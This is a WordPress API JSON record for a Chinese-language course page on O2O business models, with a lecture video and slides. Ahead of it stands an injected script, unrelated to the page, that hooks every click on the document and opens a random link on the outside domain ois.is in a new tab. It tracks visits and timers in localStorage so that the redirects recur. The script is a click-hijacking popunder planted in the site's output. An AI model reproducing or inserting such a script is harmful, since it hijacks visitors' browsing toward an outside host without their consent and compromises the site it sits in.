<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":887,"date":"2014-10-11T11:38:46","date_gmt":"2014-10-11T03:38:46","guid":{"rendered":"http:\/\/edu.secda.info\/phil999_course02\/?page_id=887"},"modified":"2020-02-20T18:30:17","modified_gmt":"2020-02-20T10:30:17","slug":"%e7%ab%a0%e7%af%802-1","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/phil999_course02\/?page_id=887","title":{"rendered":"\u7b2c\u4e5d\u9031 \u4fee\u6b63O2O\u65b0\u5546\u696d\u6a21\u5f0f(\u5c08\u5bb6\u6f14\u8b1b)"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"887\" class=\"elementor elementor-887\" data-elementor-settings=\"[]\">\r\n\t\t\t\t\t\t<div class=\"elementor-inner\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-section-wrap\">\r\n\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-6b2dc7b elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"6b2dc7b\" data-element_type=\"section\">\r\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-row\">\r\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-387f394\" data-id=\"387f394\" data-element_type=\"column\">\r\n\t\t\t<div class=\"elementor-column-wrap elementor-element-populated\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-widget-wrap\">\r\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-7592a44 elementor-widget elementor-widget-heading\" data-id=\"7592a44\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\r\n\t\t\t\t<div class=\"elementor-widget-container\">\r\n\t\t\t<h2 class=\"elementor-heading-title elementor-size-default\">\u8ab2\u524d\u6e96\u5099<\/h2>\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"elementor-element elementor-element-a5d537d elementor-widget elementor-widget-accordion\" data-id=\"a5d537d\" data-element_type=\"widget\" data-widget_type=\"accordion.default\">\r\n\t\t\t\t<div class=\"elementor-widget-container\">\r\n\t\t\t\t\t<div class=\"elementor-accordion\" role=\"tablist\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-accordion-item\">\r\n\t\t\t\t\t<div id=\"elementor-tab-title-1731\" class=\"elementor-tab-title\" data-tab=\"1\" role=\"tab\" aria-controls=\"elementor-tab-content-1731\" aria-expanded=\"false\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"elementor-accordion-icon elementor-accordion-icon-left\" aria-hidden=\"true\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"elementor-accordion-icon-closed\"><i class=\"fas fa-book-open\"><\/i><\/span>\r\n\t\t\t\t\t\t\t\t<span class=\"elementor-accordion-icon-opened\"><i class=\"fas fa-book-open\"><\/i><\/span>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/span>\r\n\t\t\t\t\t\t\t\t\t\t\t\t<a class=\"elementor-accordion-title\" href=\"\">\u9810\u7fd2<\/a>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<div id=\"elementor-tab-content-1731\" class=\"elementor-tab-content elementor-clearfix\" data-tab=\"1\" role=\"tabpanel\" aria-labelledby=\"elementor-tab-title-1731\"><p><span style=\"color: #000000;\">\u767c\u5c55O2O\u65b0\u5546\u696d\u6a21\u5f0f\uff0c\u50f9\u503c\u4e3b\u5f35<\/span><\/p><\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t\t\t\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/section>\r\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-45db573 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"45db573\" data-element_type=\"section\">\r\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-row\">\r\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-459abba\" data-id=\"459abba\" data-element_type=\"column\">\r\n\t\t\t<div class=\"elementor-column-wrap elementor-element-populated\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-widget-wrap\">\r\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-1a61023 elementor-widget-divider--view-line elementor-widget elementor-widget-divider\" data-id=\"1a61023\" data-element_type=\"widget\" data-widget_type=\"divider.default\">\r\n\t\t\t\t<div class=\"elementor-widget-container\">\r\n\t\t\t\t\t<div class=\"elementor-divider\">\r\n\t\t\t<span class=\"elementor-divider-separator\">\r\n\t\t\t\t\t\t<\/span>\r\n\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/section>\r\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-fcbfd23 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"fcbfd23\" data-element_type=\"section\">\r\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-row\">\r\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-8186e90\" data-id=\"8186e90\" data-element_type=\"column\">\r\n\t\t\t<div class=\"elementor-column-wrap elementor-element-populated\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-widget-wrap\">\r\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-656be23 elementor-widget elementor-widget-heading\" data-id=\"656be23\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\r\n\t\t\t\t<div class=\"elementor-widget-container\">\r\n\t\t\t<h2 class=\"elementor-heading-title elementor-size-default\">\u8ab2\u7a0b\u7d00\u9304<\/h2>\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"elementor-element elementor-element-1af927f elementor-widget elementor-widget-accordion\" data-id=\"1af927f\" data-element_type=\"widget\" data-widget_type=\"accordion.default\">\r\n\t\t\t\t<div class=\"elementor-widget-container\">\r\n\t\t\t\t\t<div class=\"elementor-accordion\" role=\"tablist\">\r\n\t\t\t\t\t\t\t<div class=\"elementor-accordion-item\">\r\n\t\t\t\t\t<div id=\"elementor-tab-title-2821\" class=\"elementor-tab-title\" data-tab=\"1\" role=\"tab\" aria-controls=\"elementor-tab-content-2821\" aria-expanded=\"false\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"elementor-accordion-icon elementor-accordion-icon-left\" aria-hidden=\"true\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"elementor-accordion-icon-closed\"><i class=\"fas fa-book-open\"><\/i><\/span>\r\n\t\t\t\t\t\t\t\t<span class=\"elementor-accordion-icon-opened\"><i class=\"fas fa-book-open\"><\/i><\/span>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/span>\r\n\t\t\t\t\t\t\t\t\t\t\t\t<a class=\"elementor-accordion-title\" href=\"\">\u8ab2\u5802\u5f71\u7247<\/a>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<div id=\"elementor-tab-content-2821\" class=\"elementor-tab-content elementor-clearfix\" data-tab=\"1\" role=\"tabpanel\" aria-labelledby=\"elementor-tab-title-2821\"><iframe loading=\"lazy\" src=\"https:\/\/www.youtube.com\/embed\/QlM9va2za7A\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\" data-mce-fragment=\"1\"><\/iframe>\n\n[wonderplugin_pdf src=&#8221;\/\/edu.secda.info\/phil999_course02\/wp-content\/uploads\/2020\/02\/WEEK8-1.pdf&#8221; width=&#8221;100%&#8221; height=&#8221;600px&#8221; style=&#8221;border:0;&#8221;]<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t\t\t\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t<\/section>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t","protected":false},"excerpt":{"rendered":"<p>\u8ab2\u524d\u6e96\u5099 \u9810\u7fd2 \u767c\u5c55O2O\u65b0\u5546\u696d\u6a21\u5f0f\uff0c\u50f9\u503c\u4e3b\u5f35 \u8ab2\u7a0b\u7d00\u9304 \u8ab2\u5802\u5f71\u7247<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":853,"menu_order":9,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0},"_links":{"self":[{"href":"https:\/\/edu.secda.info\/phil999_course02\/index.php?rest_route=\/wp\/v2\/pages\/887"}],"collection":[{"href":"https:\/\/edu.secda.info\/phil999_course02\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/phil999_course02\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999_course02\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999_course02\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=887"}],"version-history":[{"count":8,"href":"https:\/\/edu.secda.info\/phil999_course02\/index.php?rest_route=\/wp\/v2\/pages\/887\/revisions"}],"predecessor-version":[{"id":1555,"href":"https:\/\/edu.secda.info\/phil999_course02\/index.php?rest_route=\/wp\/v2\/pages\/887\/revisions\/1555"}],"up":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/phil999_course02\/index.php?rest_route=\/wp\/v2\/pages\/853"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/phil999_course02\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=887"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}